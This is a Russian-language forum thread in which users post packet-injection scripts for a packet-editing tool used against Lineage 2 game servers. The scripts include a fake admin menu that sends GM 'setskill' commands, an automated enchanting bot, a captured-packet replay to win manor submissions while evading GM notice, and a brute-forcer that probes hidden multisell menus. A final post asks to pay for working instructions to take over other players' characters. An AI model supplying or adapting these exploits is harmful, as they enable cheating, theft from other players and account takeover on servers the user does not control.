procedure Free; //?????????? ??? ?????????? ???????
begin
SkillsList.Clear;
end;

Procedure OnTimerSkills( Sender : TObject );
begin
if (CounterForSkills = SkillsList.Count) then//or (TargetSet = false) then
begin
Say( IntToStr(CounterForSkills) + ' скилов было записано.' );
TimerForSkills.enabled := false;
exit;
end;

GMCommand( 'setskill ' + SkillsList[CounterForSkills] );
inc( CounterForSkills );
end;

Procedure LoadSkills( FileName : String );
begin
if TimerForSkills.enabled then
begin
Say( 'Уже работает.' );
exit;
end;

if( Param = '' ) then begin Say( 'Введите имя файла.' ); exit; end;

try
SkillsList.LoadFromFile(FileName);
except
Say( 'Файл ' + FileName + ' не найден.' );
exit;
end;

CounterForSkills := 0;
TimerForSkills.enabled := true;
end;

procedure Say(msg:string);
begin
buf:=hstr('4A 00 00 00 00');
WriteD(2);
WriteS('SYS');
WriteS(msg);
SendToClient;
end;

Procedure AddSkill;
begin
if( Param = '' ) then begin Say( 'Введите номер скила и его уровень.' ); exit; end;
GMcommand( 'setskill ' + Param );
end;


procedure ShowHTML( text : string );
begin
buf:=#$19;
WriteD(5);
WriteS(text);
SendToClient;
end;

// Выполняет ГМ комманду
procedure GMCommand( cmd : String );
begin
buf:=#$74;
WriteS( cmd );
SendToServer;
//Delay(10);
end;

// Выделяет комманду из bypass'а
Procedure GetCommand( bp : String );
var i : integer;
begin
cmd := ''; param := '';

for i:=1 to Length(bp) do
begin
if( bp[i] = ' ' ) then begin inc(i); break; end;
cmd := cmd + bp[i];
end;

if( i = Length(bp) ) then begin Param := ''; exit; end;

for i:=i to Length(bp) do
begin
Param := Param + bp[i];
end;
end;


//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin
if FromClient then
begin
case pck[1] of
#$74:
begin
cmd := ReadS(2);
if cmd = 'admin' then begin ShowHTML(MainMenu); pck:=''; end;
end;

#$23:
begin
Bypass := ReadS(2);
GetCommand(Bypass);
case cmd of
{ Подменю }
'admin_teleport': begin ShowHTML(TeleportMenu); pck:=''; end;
'admin_items' : begin ShowHTML(ItemsMenu); pck:=''; end;
'admin_skills': begin ShowHTML(SkillsMenu); pck:=''; end;
'admin_back': begin ShowHTML(MainMenu); pck:=''; end;
'admin_summon': begin ShowHTML(SummonMenu); pck:=''; end;

{ Умения }
'admin_loadskills' : begin LoadSkills(Param); ShowHTML(SkillsMenu); pck:=''; end;
end;
end;
end;
end;
end.

4okHytbIu
23.07.2012, 14:48
]Робочий скрипт на точку для ИТ

const
myname=''; //<<== пишем свой НИК

max=150;//<<== колличество ячеек в рюкзаке

xxx=10;//<<== колличество skrol при котором будет закупка

chat = 3;// <<== какой ЧАТ выводить сообщения
// 3 - Party; 4 - Clan; 9 - Alli; 10 - anons ; 17 - Hero;
// =======================================
// в пати чат пишем уровень заточки
// заточить один раз чтоб запомнить чем и что точить
// СТАРТ нажать соцдействие ДА
// СТОП нажать соцдействие НЕТ
// включить системные сообщения соцдействие - приветствие \ hello
// выключить системные сообщения соцдействие - победа \ victory
// дальше скрипт сам точит до указаного уровня заточки
// все предметы ОДИНАКОВЫЕ с ПЕРВЫМ заточеным
// предметы точатся добавляя по +1 на предмет
// если предметов более одного : один предмет остается
//===============================
// есть возможность для закупки skrol для этого
// поговорить с нпс и купить skrol столько ===сколько надо докупать
// скрипт должен запомнить
// нпс должен быть выделен
// АВТОР ==>>>> TAMBIK
var
BaseItems:array[1..max,1..9] of integer;
Baselvl:array[1..max] of integer;
Timer01: TTimer;
Timer02: TTimer;
Timer03: TTimer;
Action,BypassToServer,MultiSell:string;
autostart,autoskrol,autoMsg,flag,start:Boolean;
mytext:string;
ListSize,ItemEnch:word;
textID,itemID:integer;
enchantObjectID:integer;
enchantID,skrolObjectID:integer;
objectOID: integer;
sumskrol,sumitemID: integer;
a,t,l,d,x,y,ii,i:integer;
maxlvl,minlvl: integer;
index,enchlvl,sumitem:integer;
skrolID,skrolObj:integer;

//-----------------------------------------
procedure SendMsg2(msg:string);
begin
if autoMsg then begin
buf:=#$4A;
WriteD(0);
WriteD(chat);// <<==куда выводить сообщения
WriteS('');
WriteS(msg);
SendToClientEx(myname);
end;
end;
//===========================================
procedure Resultmaxlvl;
var
i:integer;
begin
i:=2;
mytext:=ReadS(i);
textID:=ReadD(i);
if (textID=3) then begin
maxlvl:=StrToInt(mytext);
SendMsg2( ' Установлен MAX Уровень Заточки : '+IntToStr(maxlvl)+'' );
pck:='';
exit;
end;
end;
//.....................................
procedure ItemList;
var
i, j, k: integer;
count:integer;
begin
deleteBase;
j:=4;
ListSize:=ReadH(j);
for i:=1 to ListSize do
if (i<=ListSize) then begin
BaseItems[i,1]:=ReadH(j);
BaseItems[i,2]:=ReadD(j);//ObjectID
BaseItems[i,3]:=ReadD(j);//ItemID
BaseItems[i,4]:=ReadD(j);// count: 1интерлюд
BaseItems[i,5]:=ReadH(j);//
BaseItems[i,6]:=ReadH(j);//
BaseItems[i,7]:=ReadH(j);//
BaseItems[i,8]:=ReadD(j);//
BaseItems[i,9]:=ReadH(j);//-EnchantLevel:
inc(j,10);
end else for k:=1 to 9 do BaseItems[i,k]:=-1; // забиваем нулями
if (itemID > 0) then addenchantitemID;
if (skrolID > 0) then begin
skrolObj:=0;
sumskrol:=0;
sumskrol:=Getsumitem(skrolID,3,4);// счет скоко свитков
skrolObj:=Getitem(skrolID,3,2);//находим ObjectID skrol
end;
if (sumskrol = xxx) and (autoskrol = true) then begin
SendMsg2 (' _ З А К У П К А S K R O L _ ');
SendMsg2 ('____________________________________ ');
start:=false;
Timer02.enabled:=false;
a:=1;
Timer01.enabled:=true;
end;
if start and (sumskrol > 0) and (skrolObj > 0) then Timer02.enabled:=true;
if start and (sumskrol = 0) then begin
autoMsg:=true;
start:=false;
SendMsg2 ('........ НЕДОСТАТОЧНО SKROL........ ');
SendMsg2 (' ___ О С Т А Н О В Л Е Н О ___ ');
Timer02.enabled:=false;
end;
end;
//-----------------------------------------
procedure OnTimer01(Sender: TObject);
begin
case a of
1:begin
buf:=Action;
SendToServerEx(myname);
inc(a);
SendMsg2( '............... Action ...............' );
end;
2:begin
buf:=BypassToServer;
SendToServerEx(myname);
inc(a);
SendMsg2( '..........BypassToServer..........' );
end;
3:begin
buf:= MultiSell;
SendToServerEx(myname);
a:=0;
SendMsg2( '.............MultiSell...............' );
Timer01.enabled:=false;
start:=true;
Timer02.enabled:=true;
end;
end;
end;
//=============================
procedure EnchantResult;
begin
for ii:=1 to max do
Baselvl[ii]:=-1;
end;
//=============================
procedure deleteBase;
var
i,j,k:integer;
begin
for i:=1 to max do
if (BaseItems[i,2] > 0) then begin
BaseItems[i,1]:=0;
BaseItems[i,2]:=0; //ObjectID
BaseItems[i,3]:=0; //ItemID
BaseItems[i,4]:=0;
BaseItems[i,5]:=0;
BaseItems[i,6]:=0;
BaseItems[i,7]:=0;
BaseItems[i,8]:=0;
BaseItems[i,9]:=0;
end;
end;
//===========================================
// СЧИТАЕМ ПРЕДМЕТЫ
// НАХОДИМ ObjectID и ID ПРЕДМЕТа
//===========================
//счет скоко свитков и находим ObjectID, ItemID предметa
function Getitem(Obj,up,down:integer):integer;
var
i:integer;
begin
Result:= 0;
for i:=1 to max do
if (BaseItems[i,up]=Obj) then begin
Result:=BaseItems[i,down];
end;
end;
//счет скоко всего предметов
//===========================
function Getsumitem(Obj,up,down:integer):integer;
var
i:integer;
begin
Result:= 0;
for i:=1 to max do
if (BaseItems[i,up]=Obj) then begin
Result:=Result + BaseItems[i,down];
end;
end;
//=============================
// добавляем в базу ЛВЛ заточки
procedure addenchantitemID;
begin
for i:=1 to max do
if (BaseItems[i,3] = itemID) then begin
enchlvl:=BaseItems[i,9];
flag:=false;
for ii:=1 to max do
if (Baselvl[ii] = enchlvl) then begin
flag := true;
BREAK; { прекращаем цикл }
end;
if (flag = false) then begin
for ii:=1 to max do
if (Baselvl[ii]=-1) then begin
Baselvl[ii]:=enchlvl;
index :=ii;
BREAK; { прекращаем цикл }
end;
end;
end;
end;
//==========================
procedure ChooseInventory;
var
OID,lvl:integer;
begin
objectOID:=0;
if start then begin
minlvl:=Baselvl[1];
for ii:=2 to index do
if (Baselvl[ii] < minlvl) then
minlvl:=Baselvl[ii];// мин заточка
sumitemID:=0;
sumitemID:=Getsumitem(itemID,3,4);
SendMsg2( '*******************************************' );
SendMsg2(' ---- П О И С К П Р Е Д М Е Т А ----' );
if (sumitemID > sumitem) then objectOID:=GetObjectID(itemID);
if (objectOID = 0) then begin
autoMsg:=true;
start:=false;
SendMsg2(' Больше Предметов c ID : '+IntToStr(itemID)+' для заточки НЕТ ! ! ! ! ');
SendMsg2 (' ___ О С Т А Н О В Л Е Н О ___ ');
end;
end;
end;
//=================================
//находим enchantID предмета по ItemID для заточки
function GetObjectID(itemID:integer) : integer;
var
i:integer;
begin
enchantID:= 0;
ItemEnch:=0;
Result:= 0;
SendMsg2 (' Ищем ObjectID предмета с ID : ' +IntToStr(ItemID)+' ');
SendMsg2('------------------------------' );
for i:=1 to max do
if (BaseItems[i,3]=itemID) and (BaseItems[i,9] = minlvl) and (BaseItems[i,9]< maxlvl) then begin
Result:=BaseItems[i,2];
ItemEnch:=BaseItems[i,9];
enchantID:=BaseItems[i,2];
SendMsg2(' .....Найден Предмет для Заточки ..... ');
SendMsg2(' ID : '+IntToStr(itemID)+' и ObjectID : '+IntToStr(enchantID)+' заточен до : '+IntToStr(ItemEnch)+'');
SendMsg2('------------------------------' );
if start and (Result > 0) then Timer03.enabled:=true;
Break;
end;
end;
//===================================
procedure OnTimer02(Sender: TObject);
begin
SendMsg2( ' Активирован SKROL ObjectID : '+IntToStr(skrolObj)+' ' );
SendMsg2( ' ------------------------------------- ' );
buf:=#$14;
WriteD(skrolObj);
WriteD(0);
SendToServerEx(myname);
Timer02.enabled:=false;
end;
//--------------------------
procedure OnTimer03(Sender: TObject);
begin
buf:=#$58;
WriteD(enchantID);
SendToServerEx(myname);
Timer03.enabled:=false;
SendMsg2(' -------- Точим Предмет ---------' );
SendMsg2( ' ID : '+IntToStr(itemID)+' ObjectID : '+IntToStr(enchantID)+' до : '+IntToStr(maxlvl)+'' );
SendMsg2('------------------------------' );
end;
//-----------------------------------------
procedure Init;
begin
sumskrol:=0; sumitem:=0;sumitemID:=0;
objectOID:=0; enchantID:=0;
maxlvl:=0; minlvl:=0;
itemID:=0; ItemEnch:=0;
start:=false;flag:=false;
autoMsg:=true;autoskrol:=false;
autostart:=false;
skrolObjectID:=0;
enchantObjectID:=0;
t:=0;l:=0;d:=0;index:=0; a:=0;

Timer01:=TTimer.Create(nil);
Timer01.OnTimer:=@OnTimer01;
Timer01.enabled:=false;
Timer01.interval:=1; //<<== время между разговором

Timer02:=TTimer.Create(nil);
Timer02.OnTimer:=@OnTimer02;
Timer02.enabled:=false;
Timer02.interval:=1; //<<== время выбора скролл

Timer03:=TTimer.Create(nil);
Timer03.OnTimer:=@OnTimer03;
Timer03.enabled:=false;
Timer03.interval:=1; //<<== время между заточкой
SendMsg2( ' привет от ТАМБИКа' );
SendMsg2( 'в пати чат пишем уровень заточки' );
SendMsg2( ' заточить предмет ! ! !' );
SendMsg2( ' СТАРТ соцдействие ДА ' );
SendMsg2( ' СТОП соцдействие НЕТ' );
SendMsg2( ' В К Л сообщения соцдействие - приветствие \ hello ' );
SendMsg2( ' ВЫКЛ сообщения соцдействие - победа \ victory ' );
SendMsg2( '=========================' );
deleteBase;
for ii:=1 to max do
Baselvl[ii]:=-1;
OpenInventory;//открыть инвентарь.
end;
procedure Free;
begin
Timer01.free;
Timer02.free;
Timer03.free;
end;
//=========================
procedure OpenInventory;//открыть инвентарь.14=RequestItemList
begin
buf:=hstr('0F');
SendToServerEx(myname);
end;
//=========================
procedure RequestActionUse;
begin
case ReadD(2) of
02:begin// Greeting
autoMsg:=true;
end;
03:begin//
autoMsg:=false;
end;
06:begin
if (maxlvl=0) then SendMsg2( ' НЕ ЗАДАН УРОВЕНЬ ЗАТОЧКИ !' );
if (autostart=false) then SendMsg2( 'предмет незаточен или пакеты неприняты !' );
if (maxlvl>0) and autostart then begin
SendMsg2( ' ! ! ! П О Е Х А Л И ! ! !' );
start:=true;
OpenInventory;//открыть инвентарь
end;
end;
05:begin
start:=false;
enchantID:=0;
ItemEnch:=0;
minlvl:=0;
Timer03.enabled:=false;
Timer02.enabled:=false;
Timer01.enabled:=false;
SendMsg2( ' ! ! ! С Т О П ! ! ! ' );
SendMsg2 (' ___ О С Т А Н О В Л Е Н О ___ ');
index :=0;
for ii:=1 to max do
Baselvl[ii]:=-1;
end;
end;
end;
//=========
begin
if pck='' then exit;
if FromServer and (pck[1]=#$81) then begin EnchantResult;end;
if FromServer and (pck[1]=#$1B) then begin ItemList;end;
if FromServer and (pck[1]=#$6F) then begin skrolID:=ReadD(2);ChooseInventory;end;

if FromClient and (pck[1]=#$1B) then begin RequestActionUse;pck:='';exit;end;//
if FromClient and (pck[1]=#$38) then begin Resultmaxlvl;end; //
if FromClient and (pck[1]=#$04) then begin Action:=pck;end;
if FromClient and (pck[1]=#$21) then begin BypassToServer:=pck;end;
if FromClient and (pck[1]=#$A7) then begin autoskrol:=true;
MultiSell:=pck;
SendMsg2( '-- АВТОЗАКУПКА SKROL ВЫКЛ ----' );
end;
begin
if (start=false) and FromClient then
case pck[1] of
#$14:begin
t:=0;
autostart:=false;
skrolObjectID:=0;
skrolObjectID:=ReadD(2);
if (skrolObjectID > 0 ) then begin
SendMsg2( ' Активирован SKROLL с ObjectID : '+IntToStr(skrolObjectID)+' ' );
t:=1;
end;
end;
#$58:begin
d:=0;
itemID:=0;
sumitem:=0;
sumitemID:=0;
enchantObjectID:=0;
enchantObjectID:=ReadD(2);
if (enchantObjectID > 0 ) then begin
d:=1;
itemID:=Getitem(enchantObjectID,2,3);//находим предмет с ItemID
sumitemID:=Getsumitem(itemID,3,4); // считаем предметы для заточки
if (sumitemID > 1) then sumitem:=1;
SendMsg2( ' Заточен Предмет с ID : '+IntToStr(itemID)+' ' );
if (t=1) and (d=1) then autostart:=true;
end;
end;
end;
end;
end.

ZadroTTer
19.11.2012, 22:26
//Скрипт работает только на хрониках Kamael и Gracia
Var
MyNick :string;
TitleList: TStringList;
Tim1: TTimer;
j,j2: integer;
procedure Init;
begin
MyNick:='Johnson'; //Тут пишем свой ник!
TitleList:= TStringList.Create;

TitleList.Add('Title1'); //Тут список перечисляемых титулов
TitleList.Add('Title2'); //При необходимости можно добавить
TitleList.Add('Title3'); //или удалить соответствующие строки
TitleList.Add('Title4');
TitleList.Add('Title5');

Tim1:=Ttimer.Create(nil);
Tim1.Interval:=1000; //Тут задаём скорость переключения, мс (1секунда = 1000мс)
Tim1.OnTimer:=@OnTimerProc;
Tim1.Enabled:=true;
j:=0;
j2:=TitleList.Count-1;
end;
procedure Free;
begin
Tim1.Enabled:=False;
Tim1.Free;
end;
Procedure OnTimerProc;
begin
SetTitle(TitleList[j]);
If j<j2 then j:=j+1
else j:=0;
end;
Procedure SetTitle(title:string);
begin
buf:=#$0B;
WriteS(MyNick);
WriteS(title);
SendToServer;
end;
begin
end.
Немножко)

DrunkenMaster
15.12.2012, 22:02
Скрипт для игнора пакетов
begin
if (FromClient) and (pck[1]=#$01) then pck:='';
end.
там где 01 вписываем id пакета который будем игнорить
Если не ошибаюсь автор скрипта j-fobos

Dimchik09
17.12.2012, 02:12
Скрипт на сдачу Манора

Продолжим вкусным , "100% сдача манора" , что дает отличный доход , ваща задача всего лишь запустить скрипт минут за 5 до начала олимпиады , все остальное он сделает сам , вы будите довольно , не палится Гмом , хотя после N-ного количества сдач игроки могут расстроится и попросить проверить ГМа проверить логи , если он увидет , что все время сдаете только вы , может заподозрит чего .. ну да ладно , что-то я заговорился , скрипт:
__________________________________________________ ______________









var
PaketManora: string; //Пакет на сдачу манора, который мы отправим серваку зараннее с помощью клиента
// и запомним его для того чтобы вручную не формировать его кодом.
//важно что оправлять его нужно после после объявления об олимпиаде.
//так как в пакете манора используются ИД сессии, которые изменяются
//каждый ровный час.

timer1: TTimer; //таймер контролирующий системное время

StartTime: TDateTime;
EndTime: TDateTime;


x:integer;

procedure Init; //Вызывается при включении скрипта
begin
timer1:=TTimer.Create(nil);
timer1.OnTimer:=@OnTimer; //
timer1.enabled:=false; // таймер по умолчанию выключен
timer1.interval:=400; // через каждые 0,4сек будем засекать контрольное время сдачи манора

x:=0;
end;

procedure Free; //Вызывается при выключении скрипта
begin
timer1.Free; //освобождаем занимаемую память таймером
end;

//вызывается при срабатывании таймера
procedure OnTimer(Sender: TObject);
begin
//если наступило время сдавать манор и скрипт пока еще не отправил 30 попыток его сдать то
if (time >= EndTime) and (x<30) then
begin
// отправляем пакет на сдачу манора.
buf:=PaketManora;
SendToServer;
//счетчик попыток
x:=x+1;
end;
end;


begin

//если перехвачен пакет на сдачу манора то
if FromClient and (pck[1]=#$D0) and (pck[2]=#$09) and (pck[3]=#$00) then
begin
//запоминаем его полностью
PaketManora:=pck;
end;

//если получен пакет об начале олимпиады то
if FromServer and (pck[1]=#$64) and (pck[2]=#$69) and (pck[3]=#$06) then
begin
//засекаем текущее время
StartTime:=time;
//вычисляем время сдачи манора (прибавляем нужное время которое нужно засеч после получения сообщения об илимпиаде)
EndTime:=StartTime + EncodeTime(0,5,49,0); // изменяем и корректируем ето число в формате (ЧЧ,ММ,СС,МС)
//активируем таймер
timer1.enabled:=true;

end;

end.

VLADxx
01.03.2013, 04:10
Скрипт перебора МСов в полуавтоматическом режиме с возможностью ведения лога.
Слепил из 2х скриптов. В ходе теста показал хорошие результаты:)
//Скрипт перебора МСов в полуавтоматическом режиме с возможностью ведения лога.
//Без проблем редактируеться как для птс так и для явы
//Тестился на C4\IT
var i:integer;
Stream:TFileStream;
procedure Init; //Вызывается при включении скрипта
begin;
i:=1; //Номер мультиселла с которого начинаем перебор
try //пытаемся создать файл, но если такой существует то открываем его
Stream := TFileStream.Create('d:\id1.txt', fmOpenReadWrite);
except
Stream := TFileStream.Create('d:\id1.txt', fmCreate);
end;
end;
procedure Free; //Вызывается при выключении скрипта
begin
Stream.free;
end;
//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin
if FromClient and (pck[1]=#$2F) then //Первый байт пакета, к примеру какое-то соц.действие
begin
pck:='';
i:=i+1; //Значение по сколько будем перебирать МСы 1,2,3 или 100,200,300
i:=i-1;
buf:=hstr('21'); //Первый байт мультиселла который имееться на сервере
WriteS('menu_select?ask=-303&reply='+inttostr(i));
SendToServer;
inc(i);
end;
if (pck[1]+pck[6]=#$D0#$01) then
Stream.Write(inttostr(Readd(2))+' ',10);
end.

calipso1994
06.02.2016, 07:21
новых скриптов нету чтоли?

WhiteDemon
03.06.2016, 20:01
В лахматых 2006х годах где то там, на одном сервере юзал я следующе:
Суть.
Доходим до выбора чара с хлапкой
Отлавливал какой то пакет и изменял там переменные
После отправки пакета у меня вместо моего перса появлялся(ись) персы в других акков. В итоге я мог ими зайти и их юзать.
Недавно я вернулся в Л2 и вспомнил сервер, на котором это работало. Проверил пару дюпов, все пашет, вот вопрос, кто нить может мне дать инструкцию по подмене чаров на акке пакетником. Хроники С4.
Я даже готов отблагодарить человека денюжкой за инструкцию, главное, что бы она работала.